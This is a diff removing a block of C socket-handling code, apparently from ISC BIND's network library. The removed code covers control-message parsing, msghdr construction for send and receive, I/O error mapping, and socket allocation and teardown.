-#endif /* ifdef SO_TIMESTAMP */
-#endif /* ifdef USE_CMSG */
-
-	/*
-	 * sock is used only when ISC_NET_BSD44MSGHDR and USE_CMSG are defined.
-	 * msg and dev are used only when ISC_NET_BSD44MSGHDR is defined.
-	 * They are all here, outside of the CPP tests, because it is
-	 * more consistent with the usual ISC coding style.
-	 */
-	UNUSED(sock);
-	UNUSED(msg);
-	UNUSED(dev);
-
-#ifdef MSG_TRUNC
-	if ((msg->msg_flags & MSG_TRUNC) != 0) {
-		dev->attributes |= ISC_SOCKEVENTATTR_TRUNC;
-	}
-#endif /* ifdef MSG_TRUNC */
-
-#ifdef MSG_CTRUNC
-	if ((msg->msg_flags & MSG_CTRUNC) != 0) {
-		dev->attributes |= ISC_SOCKEVENTATTR_CTRUNC;
-	}
-#endif /* ifdef MSG_CTRUNC */
-
-#ifndef USE_CMSG
-	return;
-#else /* ifndef USE_CMSG */
-	if (msg->msg_controllen == 0U || msg->msg_control == NULL) {
-		return;
-	}
-
-#ifdef SO_TIMESTAMP
-	timevalp = NULL;
-#endif /* ifdef SO_TIMESTAMP */
-	pktinfop = NULL;
-
-	cmsgp = CMSG_FIRSTHDR(msg);
-	while (cmsgp != NULL) {
-		socket_log(sock, NULL, TRACE, "processing cmsg %p", cmsgp);
-
-		if (cmsgp->cmsg_level == IPPROTO_IPV6 &&
-		    cmsgp->cmsg_type == IPV6_PKTINFO) {
-			pktinfop = (struct in6_pktinfo *)CMSG_DATA(cmsgp);
-			memmove(&dev->pktinfo, pktinfop,
-				sizeof(struct in6_pktinfo));
-			dev->attributes |= ISC_SOCKEVENTATTR_PKTINFO;
-			socket_log(sock, NULL, TRACE,
-				   "interface received on ifindex %u",
-				   dev->pktinfo.ipi6_ifindex);
-			if (IN6_IS_ADDR_MULTICAST(&pktinfop->ipi6_addr)) {
-				dev->attributes |= ISC_SOCKEVENTATTR_MULTICAST;
-			}
-			goto next;
-		}
-
-#ifdef SO_TIMESTAMP
-		if (cmsgp->cmsg_level == SOL_SOCKET &&
-		    cmsgp->cmsg_type == SCM_TIMESTAMP) {
-			struct timeval tv;
-			timevalp = CMSG_DATA(cmsgp);
-			memmove(&tv, timevalp, sizeof(tv));
-			dev->timestamp.seconds = tv.tv_sec;
-			dev->timestamp.nanoseconds = tv.tv_usec * 1000;
-			dev->attributes |= ISC_SOCKEVENTATTR_TIMESTAMP;
-			goto next;
-		}
-#endif /* ifdef SO_TIMESTAMP */
-
-#ifdef IPV6_TCLASS
-		if (cmsgp->cmsg_level == IPPROTO_IPV6 &&
-		    cmsgp->cmsg_type == IPV6_TCLASS) {
-			dev->dscp = *(int *)CMSG_DATA(cmsgp);
-			dev->dscp >>= 2;
-			dev->attributes |= ISC_SOCKEVENTATTR_DSCP;
-			goto next;
-		}
-#endif /* ifdef IPV6_TCLASS */
-
-#ifdef IP_TOS
-		if (cmsgp->cmsg_level == IPPROTO_IP &&
-		    (cmsgp->cmsg_type == IP_TOS
-#ifdef IP_RECVTOS
-		     || cmsgp->cmsg_type == IP_RECVTOS
-#endif /* ifdef IP_RECVTOS */
-		     ))
-		{
-			dev->dscp = (int)*(unsigned char *)CMSG_DATA(cmsgp);
-			dev->dscp >>= 2;
-			dev->attributes |= ISC_SOCKEVENTATTR_DSCP;
-			goto next;
-		}
-#endif /* ifdef IP_TOS */
-	next:
-		cmsgp = CMSG_NXTHDR(msg, cmsgp);
-	}
-#endif /* USE_CMSG */
-}
-
-/*
- * Construct an iov array and attach it to the msghdr passed in.  This is
- * the SEND constructor, which will use the used region of the buffer
- * (if using a buffer list) or will use the internal region (if a single
- * buffer I/O is requested).
- *
- * Nothing can be NULL, and the done event must list at least one buffer
- * on the buffer linked list for this function to be meaningful.
- *
- * If write_countp != NULL, *write_countp will hold the number of bytes
- * this transaction can send.
- */
-static void
-build_msghdr_send(isc_socket_t *sock, char *cmsgbuf, isc_socketevent_t *dev,
-		  struct msghdr *msg, struct iovec *iov, size_t *write_countp) {
-	unsigned int iovcount;
-	size_t write_count;
-	struct cmsghdr *cmsgp;
-
-	memset(msg, 0, sizeof(*msg));
-
-	if (!sock->connected) {
-		msg->msg_name = (void *)&dev->address.type.sa;
-		msg->msg_namelen = dev->address.length;
-	} else {
-		msg->msg_name = NULL;
-		msg->msg_namelen = 0;
-	}
-
-	write_count = dev->region.length - dev->n;
-	iov[0].iov_base = (void *)(dev->region.base + dev->n);
-	iov[0].iov_len = write_count;
-	iovcount = 1;
-
-	msg->msg_iov = iov;
-	msg->msg_iovlen = iovcount;
-	msg->msg_control = NULL;
-	msg->msg_controllen = 0;
-	msg->msg_flags = 0;
-#if defined(USE_CMSG)
-
-	if ((sock->type == isc_sockettype_udp) &&
-	    ((dev->attributes & ISC_SOCKEVENTATTR_PKTINFO) != 0))
-	{
-		struct in6_pktinfo *pktinfop;
-
-		socket_log(sock, NULL, TRACE, "sendto pktinfo data, ifindex %u",
-			   dev->pktinfo.ipi6_ifindex);
-
-		msg->msg_control = (void *)cmsgbuf;
-		msg->msg_controllen = cmsg_space(sizeof(struct in6_pktinfo));
-		INSIST(msg->msg_controllen <= SENDCMSGBUFLEN);
-
-		cmsgp = (struct cmsghdr *)cmsgbuf;
-		cmsgp->cmsg_level = IPPROTO_IPV6;
-		cmsgp->cmsg_type = IPV6_PKTINFO;
-		cmsgp->cmsg_len = cmsg_len(sizeof(struct in6_pktinfo));
-		pktinfop = (struct in6_pktinfo *)CMSG_DATA(cmsgp);
-		memmove(pktinfop, &dev->pktinfo, sizeof(struct in6_pktinfo));
-	}
-
-#if defined(IPV6_USE_MIN_MTU)
-	if ((sock->type == isc_sockettype_udp) && (sock->pf == AF_INET6) &&
-	    ((dev->attributes & ISC_SOCKEVENTATTR_USEMINMTU) != 0))
-	{
-		int use_min_mtu = 1; /* -1, 0, 1 */
-
-		cmsgp = (struct cmsghdr *)(cmsgbuf + msg->msg_controllen);
-		msg->msg_control = (void *)cmsgbuf;
-		msg->msg_controllen += cmsg_space(sizeof(use_min_mtu));
-		INSIST(msg->msg_controllen <= SENDCMSGBUFLEN);
-
-		cmsgp->cmsg_level = IPPROTO_IPV6;
-		cmsgp->cmsg_type = IPV6_USE_MIN_MTU;
-		cmsgp->cmsg_len = cmsg_len(sizeof(use_min_mtu));
-		memmove(CMSG_DATA(cmsgp), &use_min_mtu, sizeof(use_min_mtu));
-	}
-#endif /* if defined(IPV6_USE_MIN_MTU) */
-
-	if (isc_dscp_check_value > -1) {
-		if (sock->type == isc_sockettype_udp) {
-			INSIST((int)dev->dscp == isc_dscp_check_value);
-		} else if (sock->type == isc_sockettype_tcp) {
-			INSIST((int)sock->dscp == isc_dscp_check_value);
-		}
-	}
-
-#if defined(IP_TOS) || (defined(IPPROTO_IPV6) && defined(IPV6_TCLASS))
-	if ((sock->type == isc_sockettype_udp) &&
-	    ((dev->attributes & ISC_SOCKEVENTATTR_DSCP) != 0))
-	{
-		int dscp = (dev->dscp << 2) & 0xff;
-
-		INSIST(dev->dscp < 0x40);
-
-#ifdef IP_TOS
-		if (sock->pf == AF_INET && sock->pktdscp) {
-			cmsgp = (struct cmsghdr *)(cmsgbuf +
-						   msg->msg_controllen);
-			msg->msg_control = (void *)cmsgbuf;
-			msg->msg_controllen += cmsg_space(sizeof(dscp));
-			INSIST(msg->msg_controllen <= SENDCMSGBUFLEN);
-
-			cmsgp->cmsg_level = IPPROTO_IP;
-			cmsgp->cmsg_type = IP_TOS;
-			cmsgp->cmsg_len = cmsg_len(sizeof(char));
-			*(unsigned char *)CMSG_DATA(cmsgp) = dscp;
-		} else if (sock->pf == AF_INET && sock->dscp != dev->dscp) {
-			if (setsockopt(sock->fd, IPPROTO_IP, IP_TOS,
-				       (void *)&dscp, sizeof(int)) < 0) {
-				char strbuf[ISC_STRERRORSIZE];
-				strerror_r(errno, strbuf, sizeof(strbuf));
-				UNEXPECTED_ERROR(__FILE__, __LINE__,
-						 "setsockopt(%d, IP_TOS, %.02x)"
-						 " failed: %s",
-						 sock->fd, dscp >> 2, strbuf);
-			} else {
-				sock->dscp = dscp;
-			}
-		}
-#endif /* ifdef IP_TOS */
-#if defined(IPPROTO_IPV6) && defined(IPV6_TCLASS)
-		if (sock->pf == AF_INET6 && sock->pktdscp) {
-			cmsgp = (struct cmsghdr *)(cmsgbuf +
-						   msg->msg_controllen);
-			msg->msg_control = (void *)cmsgbuf;
-			msg->msg_controllen += cmsg_space(sizeof(dscp));
-			INSIST(msg->msg_controllen <= SENDCMSGBUFLEN);
-
-			cmsgp->cmsg_level = IPPROTO_IPV6;
-			cmsgp->cmsg_type = IPV6_TCLASS;
-			cmsgp->cmsg_len = cmsg_len(sizeof(dscp));
-			memmove(CMSG_DATA(cmsgp), &dscp, sizeof(dscp));
-		} else if (sock->pf == AF_INET6 && sock->dscp != dev->dscp) {
-			if (setsockopt(sock->fd, IPPROTO_IPV6, IPV6_TCLASS,
-				       (void *)&dscp, sizeof(int)) < 0)
-			{
-				char strbuf[ISC_STRERRORSIZE];
-				strerror_r(errno, strbuf, sizeof(strbuf));
-				UNEXPECTED_ERROR(__FILE__, __LINE__,
-						 "setsockopt(%d, IPV6_TCLASS, "
-						 "%.02x) failed: %s",
-						 sock->fd, dscp >> 2, strbuf);
-			} else {
-				sock->dscp = dscp;
-			}
-		}
-#endif /* if defined(IPPROTO_IPV6) && defined(IPV6_TCLASS) */
-		if (msg->msg_controllen != 0 &&
-		    msg->msg_controllen < SENDCMSGBUFLEN) {
-			memset(cmsgbuf + msg->msg_controllen, 0,
-			       SENDCMSGBUFLEN - msg->msg_controllen);
-		}
-	}
-#endif /* if defined(IP_TOS) || (defined(IPPROTO_IPV6) && \
-	* defined(IPV6_TCLASS))                           \
-	* */
-#endif /* USE_CMSG */
-
-	if (write_countp != NULL) {
-		*write_countp = write_count;
-	}
-}
-
-/*
- * Construct an iov array and attach it to the msghdr passed in.  This is
- * the RECV constructor, which will use the available region of the buffer
- * (if using a buffer list) or will use the internal region (if a single
- * buffer I/O is requested).
- *
- * Nothing can be NULL, and the done event must list at least one buffer
- * on the buffer linked list for this function to be meaningful.
- *
- * If read_countp != NULL, *read_countp will hold the number of bytes
- * this transaction can receive.
- */
-static void
-build_msghdr_recv(isc_socket_t *sock, char *cmsgbuf, isc_socketevent_t *dev,
-		  struct msghdr *msg, struct iovec *iov, size_t *read_countp) {
-	unsigned int iovcount;
-	size_t read_count;
-
-	memset(msg, 0, sizeof(struct msghdr));
-
-	if (sock->type == isc_sockettype_udp) {
-		memset(&dev->address, 0, sizeof(dev->address));
-		msg->msg_name = (void *)&dev->address.type.sa;
-		msg->msg_namelen = sizeof(dev->address.type);
-	} else { /* TCP */
-		msg->msg_name = NULL;
-		msg->msg_namelen = 0;
-		dev->address = sock->peer_address;
-	}
-
-	read_count = dev->region.length - dev->n;
-	iov[0].iov_base = (void *)(dev->region.base + dev->n);
-	iov[0].iov_len = read_count;
-	iovcount = 1;
-
-	/*
-	 * If needed, set up to receive that one extra byte.
-	 */
-#ifdef ISC_PLATFORM_RECVOVERFLOW
-	if (sock->type == isc_sockettype_udp) {
-		INSIST(iovcount < MAXSCATTERGATHER_RECV);
-		iov[iovcount].iov_base = (void *)(&sock->overflow);
-		iov[iovcount].iov_len = 1;
-		iovcount++;
-	}
-#endif /* ifdef ISC_PLATFORM_RECVOVERFLOW */
-
-	msg->msg_iov = iov;
-	msg->msg_iovlen = iovcount;
-
-#if defined(USE_CMSG)
-	msg->msg_control = cmsgbuf;
-	msg->msg_controllen = RECVCMSGBUFLEN;
-#else  /* if defined(USE_CMSG) */
-	msg->msg_control = NULL;
-	msg->msg_controllen = 0;
-#endif /* USE_CMSG */
-	msg->msg_flags = 0;
-
-	if (read_countp != NULL) {
-		*read_countp = read_count;
-	}
-}
-
-static void
-set_dev_address(const isc_sockaddr_t *address, isc_socket_t *sock,
-		isc_socketevent_t *dev) {
-	if (sock->type == isc_sockettype_udp) {
-		if (address != NULL) {
-			dev->address = *address;
-		} else {
-			dev->address = sock->peer_address;
-		}
-	} else if (sock->type == isc_sockettype_tcp) {
-		INSIST(address == NULL);
-		dev->address = sock->peer_address;
-	}
-}
-
-static void
-destroy_socketevent(isc_event_t *event) {
-	isc_socketevent_t *ev = (isc_socketevent_t *)event;
-
-	(ev->destroy)(event);
-}
-
-static isc_socketevent_t *
-allocate_socketevent(isc_mem_t *mctx, void *sender, isc_eventtype_t eventtype,
-		     isc_taskaction_t action, void *arg) {
-	isc_socketevent_t *ev;
-
-	ev = (isc_socketevent_t *)isc_event_allocate(mctx, sender, eventtype,
-						     action, arg, sizeof(*ev));
-
-	ev->result = ISC_R_UNSET;
-	ISC_LINK_INIT(ev, ev_link);
-	ev->region.base = NULL;
-	ev->n = 0;
-	ev->offset = 0;
-	ev->attributes = 0;
-	ev->destroy = ev->ev_destroy;
-	ev->ev_destroy = destroy_socketevent;
-	ev->dscp = 0;
-
-	return (ev);
-}
-
-#if defined(ISC_SOCKET_DEBUG)
-static void
-dump_msg(struct msghdr *msg) {
-	unsigned int i;
-
-	printf("MSGHDR %p\n", msg);
-	printf("\tname %p, namelen %ld\n", msg->msg_name,
-	       (long)msg->msg_namelen);
-	printf("\tiov %p, iovlen %ld\n", msg->msg_iov, (long)msg->msg_iovlen);
-	for (i = 0; i < (unsigned int)msg->msg_iovlen; i++)
-		printf("\t\t%u\tbase %p, len %ld\n", i,
-		       msg->msg_iov[i].iov_base, (long)msg->msg_iov[i].iov_len);
-	printf("\tcontrol %p, controllen %ld\n", msg->msg_control,
-	       (long)msg->msg_controllen);
-}
-#endif /* if defined(ISC_SOCKET_DEBUG) */
-
-#define DOIO_SUCCESS 0 /* i/o ok, event sent */
-#define DOIO_SOFT    1 /* i/o ok, soft error, no event sent */
-#define DOIO_HARD    2 /* i/o error, event sent */
-#define DOIO_EOF     3 /* EOF, no event sent */
-
-static int
-doio_recv(isc_socket_t *sock, isc_socketevent_t *dev) {
-	int cc;
-	struct iovec iov[MAXSCATTERGATHER_RECV];
-	size_t read_count;
-	struct msghdr msghdr;
-	int recv_errno;
-	char strbuf[ISC_STRERRORSIZE];
-	char cmsgbuf[RECVCMSGBUFLEN] = { 0 };
-
-	build_msghdr_recv(sock, cmsgbuf, dev, &msghdr, iov, &read_count);
-
-#if defined(ISC_SOCKET_DEBUG)
-	dump_msg(&msghdr);
-#endif /* if defined(ISC_SOCKET_DEBUG) */
-
-	cc = recvmsg(sock->fd, &msghdr, 0);
-	recv_errno = errno;
-
-#if defined(ISC_SOCKET_DEBUG)
-	dump_msg(&msghdr);
-#endif /* if defined(ISC_SOCKET_DEBUG) */
-
-	if (cc < 0) {
-		if (SOFT_ERROR(recv_errno)) {
-			return (DOIO_SOFT);
-		}
-
-		if (isc_log_wouldlog(isc_lctx, IOEVENT_LEVEL)) {
-			strerror_r(recv_errno, strbuf, sizeof(strbuf));
-			socket_log(sock, NULL, IOEVENT,
-				   "doio_recv: recvmsg(%d) %d bytes, err %d/%s",
-				   sock->fd, cc, recv_errno, strbuf);
-		}
-
-#define SOFT_OR_HARD(_system, _isc)                                   \
-	if (recv_errno == _system) {                                  \
-		if (sock->connected) {                                \
-			dev->result = _isc;                           \
-			inc_stats(sock->manager->stats,               \
-				  sock->statsindex[STATID_RECVFAIL]); \
-			return (DOIO_HARD);                           \
-		}                                                     \
-		return (DOIO_SOFT);                                   \
-	}
-#define ALWAYS_HARD(_system, _isc)                            \
-	if (recv_errno == _system) {                          \
-		dev->result = _isc;                           \
-		inc_stats(sock->manager->stats,               \
-			  sock->statsindex[STATID_RECVFAIL]); \
-		return (DOIO_HARD);                           \
-	}
-
-		SOFT_OR_HARD(ECONNREFUSED, ISC_R_CONNREFUSED);
-		SOFT_OR_HARD(ENETUNREACH, ISC_R_NETUNREACH);
-		SOFT_OR_HARD(EHOSTUNREACH, ISC_R_HOSTUNREACH);
-		SOFT_OR_HARD(EHOSTDOWN, ISC_R_HOSTDOWN);
-		SOFT_OR_HARD(ENOBUFS, ISC_R_NORESOURCES);
-		/*
-		 * Older operating systems may still return EPROTO in some
-		 * situations, for example when receiving ICMP/ICMPv6 errors.
-		 * A real life scenario is when ICMPv6 returns code 5 or 6.
-		 * These codes are introduced in RFC 4443 from March 2006,
-		 * and the document obsoletes RFC 1885. But unfortunately not
-		 * all operating systems have caught up with the new standard
-		 * (in 2020) and thus a generic protocol error is returned.
-		 */
-		SOFT_OR_HARD(EPROTO, ISC_R_HOSTUNREACH);
-		/* Should never get this one but it was seen. */
-#ifdef ENOPROTOOPT
-		SOFT_OR_HARD(ENOPROTOOPT, ISC_R_HOSTUNREACH);
-#endif /* ifdef ENOPROTOOPT */
-		SOFT_OR_HARD(EINVAL, ISC_R_HOSTUNREACH);
-
-#undef SOFT_OR_HARD
-#undef ALWAYS_HARD
-
-		dev->result = isc__errno2result(recv_errno);
-		inc_stats(sock->manager->stats,
-			  sock->statsindex[STATID_RECVFAIL]);
-		return (DOIO_HARD);
-	}
-
-	/*
-	 * On TCP and UNIX sockets, zero length reads indicate EOF,
-	 * while on UDP sockets, zero length reads are perfectly valid,
-	 * although strange.
-	 */
-	switch (sock->type) {
-	case isc_sockettype_tcp:
-	case isc_sockettype_unix:
-		if (cc == 0) {
-			return (DOIO_EOF);
-		}
-		break;
-	case isc_sockettype_udp:
-	case isc_sockettype_raw:
-		break;
-	default:
-		INSIST(0);
-		ISC_UNREACHABLE();
-	}
-
-	if (sock->type == isc_sockettype_udp) {
-		dev->address.length = msghdr.msg_namelen;
-		if (isc_sockaddr_getport(&dev->address) == 0) {
-			if (isc_log_wouldlog(isc_lctx, IOEVENT_LEVEL)) {
-				socket_log(sock, &dev->address, IOEVENT,
-					   "dropping source port zero packet");
-			}
-			return (DOIO_SOFT);
-		}
-		/*
-		 * Simulate a firewall blocking UDP responses bigger than
-		 * 'maxudp' bytes.
-		 */
-		if (sock->manager->maxudp != 0 &&
-		    cc > (int)sock->manager->maxudp) {
-			return (DOIO_SOFT);
-		}
-	}
-
-	socket_log(sock, &dev->address, IOEVENT, "packet received correctly");
-
-	/*
-	 * Overflow bit detection.  If we received MORE bytes than we should,
-	 * this indicates an overflow situation.  Set the flag in the
-	 * dev entry and adjust how much we read by one.
-	 */
-#ifdef ISC_PLATFORM_RECVOVERFLOW
-	if ((sock->type == isc_sockettype_udp) && ((size_t)cc > read_count)) {
-		dev->attributes |= ISC_SOCKEVENTATTR_TRUNC;
-		cc--;
-	}
-#endif /* ifdef ISC_PLATFORM_RECVOVERFLOW */
-
-	/*
-	 * If there are control messages attached, run through them and pull
-	 * out the interesting bits.
-	 */
-	process_cmsg(sock, &msghdr, dev);
-
-	/*
-	 * update the buffers (if any) and the i/o count
-	 */
-	dev->n += cc;
-
-	/*
-	 * If we read less than we expected, update counters,
-	 * and let the upper layer poke the descriptor.
-	 */
-	if (((size_t)cc != read_count) && (dev->n < dev->minimum)) {
-		return (DOIO_SOFT);
-	}
-
-	/*
-	 * Full reads are posted, or partials if partials are ok.
-	 */
-	dev->result = ISC_R_SUCCESS;
-	return (DOIO_SUCCESS);
-}
-
-/*
- * Returns:
- *	DOIO_SUCCESS	The operation succeeded.  dev->result contains
- *			ISC_R_SUCCESS.
- *
- *	DOIO_HARD	A hard or unexpected I/O error was encountered.
- *			dev->result contains the appropriate error.
- *
- *	DOIO_SOFT	A soft I/O error was encountered.  No senddone
- *			event was sent.  The operation should be retried.
- *
- *	No other return values are possible.
- */
-static int
-doio_send(isc_socket_t *sock, isc_socketevent_t *dev) {
-	int cc;
-	struct iovec iov[MAXSCATTERGATHER_SEND];
-	size_t write_count;
-	struct msghdr msghdr;
-	char addrbuf[ISC_SOCKADDR_FORMATSIZE];
-	int attempts = 0;
-	int send_errno;
-	char strbuf[ISC_STRERRORSIZE];
-	char cmsgbuf[SENDCMSGBUFLEN] = { 0 };
-
-	build_msghdr_send(sock, cmsgbuf, dev, &msghdr, iov, &write_count);
-
-resend:
-	if (sock->type == isc_sockettype_udp && sock->manager->maxudp != 0 &&
-	    write_count > sock->manager->maxudp)
-	{
-		cc = write_count;
-	} else {
-		cc = sendmsg(sock->fd, &msghdr, 0);
-	}
-	send_errno = errno;
-
-	/*
-	 * Check for error or block condition.
-	 */
-	if (cc < 0) {
-		if (send_errno == EINTR && ++attempts < NRETRIES) {
-			goto resend;
-		}
-
-		if (SOFT_ERROR(send_errno)) {
-			if (errno == EWOULDBLOCK || errno == EAGAIN) {
-				dev->result = ISC_R_WOULDBLOCK;
-			}
-			return (DOIO_SOFT);
-		}
-
-#define SOFT_OR_HARD(_system, _isc)                                   \
-	if (send_errno == _system) {                                  \
-		if (sock->connected) {                                \
-			dev->result = _isc;                           \
-			inc_stats(sock->manager->stats,               \
-				  sock->statsindex[STATID_SENDFAIL]); \
-			return (DOIO_HARD);                           \
-		}                                                     \
-		return (DOIO_SOFT);                                   \
-	}
-#define ALWAYS_HARD(_system, _isc)                            \
-	if (send_errno == _system) {                          \
-		dev->result = _isc;                           \
-		inc_stats(sock->manager->stats,               \
-			  sock->statsindex[STATID_SENDFAIL]); \
-		return (DOIO_HARD);                           \
-	}
-
-		SOFT_OR_HARD(ECONNREFUSED, ISC_R_CONNREFUSED);
-		ALWAYS_HARD(EACCES, ISC_R_NOPERM);
-		ALWAYS_HARD(EAFNOSUPPORT, ISC_R_ADDRNOTAVAIL);
-		ALWAYS_HARD(EADDRNOTAVAIL, ISC_R_ADDRNOTAVAIL);
-		ALWAYS_HARD(EHOSTUNREACH, ISC_R_HOSTUNREACH);
-#ifdef EHOSTDOWN
-		ALWAYS_HARD(EHOSTDOWN, ISC_R_HOSTUNREACH);
-#endif /* ifdef EHOSTDOWN */
-		ALWAYS_HARD(ENETUNREACH, ISC_R_NETUNREACH);
-		SOFT_OR_HARD(ENOBUFS, ISC_R_NORESOURCES);
-		ALWAYS_HARD(EPERM, ISC_R_HOSTUNREACH);
-		ALWAYS_HARD(EPIPE, ISC_R_NOTCONNECTED);
-		ALWAYS_HARD(ECONNRESET, ISC_R_CONNECTIONRESET);
-
-#undef SOFT_OR_HARD
-#undef ALWAYS_HARD
-
-		/*
-		 * The other error types depend on whether or not the
-		 * socket is UDP or TCP.  If it is UDP, some errors
-		 * that we expect to be fatal under TCP are merely
-		 * annoying, and are really soft errors.
-		 *
-		 * However, these soft errors are still returned as
-		 * a status.
-		 */
-		isc_sockaddr_format(&dev->address, addrbuf, sizeof(addrbuf));
-		strerror_r(send_errno, strbuf, sizeof(strbuf));
-		UNEXPECTED_ERROR(__FILE__, __LINE__, "internal_send: %s: %s",
-				 addrbuf, strbuf);
-		dev->result = isc__errno2result(send_errno);
-		inc_stats(sock->manager->stats,
-			  sock->statsindex[STATID_SENDFAIL]);
-		return (DOIO_HARD);
-	}
-
-	if (cc == 0) {
-		inc_stats(sock->manager->stats,
-			  sock->statsindex[STATID_SENDFAIL]);
-		UNEXPECTED_ERROR(__FILE__, __LINE__,
-				 "doio_send: send() returned 0");
-	}
-
-	/*
-	 * If we write less than we expected, update counters, poke.
-	 */
-	dev->n += cc;
-	if ((size_t)cc != write_count) {
-		return (DOIO_SOFT);
-	}
-
-	/*
-	 * Exactly what we wanted to write.  We're done with this
-	 * entry.  Post its completion event.
-	 */
-	dev->result = ISC_R_SUCCESS;
-	return (DOIO_SUCCESS);
-}
-
-/*
- * Kill.
- *
- * Caller must ensure that the socket is not locked and no external
- * references exist.
- */
-static void
-socketclose(isc__socketthread_t *thread, isc_socket_t *sock, int fd) {
-	int lockid = FDLOCK_ID(fd);
-	/*
-	 * No one has this socket open, so the watcher doesn't have to be
-	 * poked, and the socket doesn't have to be locked.
-	 */
-	LOCK(&thread->fdlock[lockid]);
-	thread->fds[fd] = NULL;
-	thread->fdstate[fd] = CLOSE_PENDING;
-	UNLOCK(&thread->fdlock[lockid]);
-	select_poke(thread->manager, thread->threadid, fd, SELECT_POKE_CLOSE);
-
-	inc_stats(thread->manager->stats, sock->statsindex[STATID_CLOSE]);
-
-	LOCK(&sock->lock);
-	if (sock->active == 1) {
-		dec_stats(thread->manager->stats,
-			  sock->statsindex[STATID_ACTIVE]);
-		sock->active = 0;
-	}
-	UNLOCK(&sock->lock);
-
-	/*
-	 * update manager->maxfd here (XXX: this should be implemented more
-	 * efficiently)
-	 */
-#ifdef USE_SELECT
-	LOCK(&thread->manager->lock);
-	if (thread->maxfd == fd) {
-		int i;
-
-		thread->maxfd = 0;
-		for (i = fd - 1; i >= 0; i--) {
-			lockid = FDLOCK_ID(i);
-
-			LOCK(&thread->fdlock[lockid]);
-			if (thread->fdstate[i] == MANAGED) {
-				thread->maxfd = i;
-				UNLOCK(&thread->fdlock[lockid]);
-				break;
-			}
-			UNLOCK(&thread->fdlock[lockid]);
-		}
-		if (thread->maxfd < thread->pipe_fds[0]) {
-			thread->maxfd = thread->pipe_fds[0];
-		}
-	}
-
-	UNLOCK(&thread->manager->lock);
-#endif /* USE_SELECT */
-}
-
-static void
-destroy(isc_socket_t **sockp) {
-	int fd = 0;
-	isc_socket_t *sock = *sockp;
-	isc_socketmgr_t *manager = sock->manager;
-	isc__socketthread_t *thread = NULL;
-
-	socket_log(sock, NULL, CREATION, "destroying");
-
-	isc_refcount_destroy(&sock->references);
-
-	LOCK(&sock->lock);
-	INSIST(ISC_LIST_EMPTY(sock->connect_list));
-	INSIST(ISC_LIST_EMPTY(sock->accept_list));
-	INSIST(ISC_LIST_EMPTY(sock->recv_list));
-	INSIST(ISC_LIST_EMPTY(sock->send_list));
-	INSIST(sock->fd >= -1 && sock->fd < (int)manager->maxsocks);
-
-	if (sock->fd >= 0) {
-		fd = sock->fd;
-		thread = &manager->threads[sock->threadid];
-		sock->fd = -1;
-		sock->threadid = -1;
-	}
-	UNLOCK(&sock->lock);
-
-	if (fd > 0) {
-		socketclose(thread, sock, fd);
-	}
-
-	LOCK(&manager->lock);
-
-	ISC_LIST_UNLINK(manager->socklist, sock, link);
-
-	if (ISC_LIST_EMPTY(manager->socklist)) {
-		SIGNAL(&manager->shutdown_ok);
-	}
-
-	/* can't unlock manager as its memory context is still used */
-	free_socket(sockp);
-
-	UNLOCK(&manager->lock);
-}
-
-static isc_result_t
-allocate_socket(isc_socketmgr_t *manager, isc_sockettype_t type,
-		isc_socket_t **socketp) {
-	isc_socket_t *sock;
-
-	sock = isc_mem_get(manager->mctx, sizeof(*sock));
-
-	sock->magic = 0;
-	isc_refcount_init(&sock->references, 0);
-
-	sock->manager = manager;
-	sock->type = type;
-	sock->fd = -1;
-	sock->threadid = -1;
-	sock->dscp = 0; /* TOS/TCLASS is zero until set. */
-	sock->dupped = 0;
-	sock->statsindex = NULL;
-	sock->active = 0;
-
-	ISC_LINK_INIT(sock, link);
-
-	memset(sock->name, 0, sizeof(sock->name));
-	sock->tag = NULL;
-
-	/*
-	 * Set up list of readers and writers to be initially empty.
-	 */
-	ISC_LIST_INIT(sock->recv_list);
-	ISC_LIST_INIT(sock->send_list);
-	ISC_LIST_INIT(sock->accept_list);
-	ISC_LIST_INIT(sock->connect_list);
-
-	sock->listener = 0;
-	sock->connected = 0;
-	sock->connecting = 0;
-	sock->bound = 0;
-	sock->pktdscp = 0;
-
-	/*
-	 * Initialize the lock.
-	 */
-	isc_mutex_init(&sock->lock);
-
-	sock->magic = SOCKET_MAGIC;
-	*socketp = sock;
-
-	return (ISC_R_SUCCESS);
-}
-
-/*
- * This event requires that the various lists be empty, that the reference
- * count be 1, and that the magic number is valid.  The other socket bits,
- * like the lock, must be initialized as well.  The fd associated must be
- * marked as closed, by setting it to -1 on close, or this routine will
- * also close the socket.
- */
-static void
-free_socket(isc_socket_t **socketp) {
-	isc_socket_t *sock = *socketp;
-	*socketp = NULL;
-
-	INSIST(VALID_SOCKET(sock));
-	isc_refcount_destroy(&sock->references);
-	LOCK(&sock->lock);
-	INSIST(!sock->connecting);
-	INSIST(ISC_LIST_EMPTY(sock->recv_list));
-	INSIST(ISC_LIST_EMPTY(sock->send_list));
-	INSIST(ISC_LIST_EMPTY(sock->accept_list));
-	INSIST(ISC_LIST_EMPTY(sock->connect_list));
-	INSIST(!ISC_LINK_LINKED(sock, link));
-	UNLOCK(&sock->lock);
-
-	sock->magic = 0;
-
-	isc_mutex_destroy(&sock->lock);
-
-	isc_mem_put(sock->manager->mctx, sock, sizeof(*sock));
-}
-
-#if defined(SET_RCVBUF)
-static isc_once_t rcvbuf_once = ISC_ONCE_INIT;
-static int rcvbuf = ISC_RECV_BUFFER_SIZE;
-
-static void
-set_rcvbuf(void) {
-	int fd;
-	int max = rcvbuf, min;
-	socklen_t len;
-
-	fd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
-	if (fd == -1) {
-		switch (errno) {
-		case EPROTONOSUPPORT:
-		case EPFNOSUPPORT:
-		case EAFNOSUPPORT:
-		/*
-		 * Linux 2.2 (and maybe others) return EINVAL instead of
-		 * EAFNOSUPPORT.
-		 */
-		case EINVAL:
-			fd = socket(AF_INET6, SOCK_DGRAM, IPPROTO_UDP);
-			break;
-		}
-	}
-	if (fd == -1) {
-		return;
-	}
-
-	len = sizeof(min);
-	if (getsockopt(fd, SOL_SOCKET, SO_RCVBUF, (void *)&min, &len) == 0 &&
-	    min < rcvbuf)
-	{
-	again:
-		if (setsockopt(fd, SOL_SOCKET, SO_RCVBUF, (void *)&rcvbuf,
-			       sizeof(rcvbuf)) == -1)
-		{
-			if (errno == ENOBUFS && rcvbuf > min) {
-				max = rcvbuf - 1;
-				rcvbuf = (rcvbuf + min) / 2;
-				goto again;
-			} else {
-				rcvbuf = min;
-				goto cleanup;
-			}
-		} else {
-			min = rcvbuf;
-		}
-		if (min != max) {
-			rcvbuf = max;
-			goto again;
-		}
-	}
-cleanup:
-	close(fd);
-}
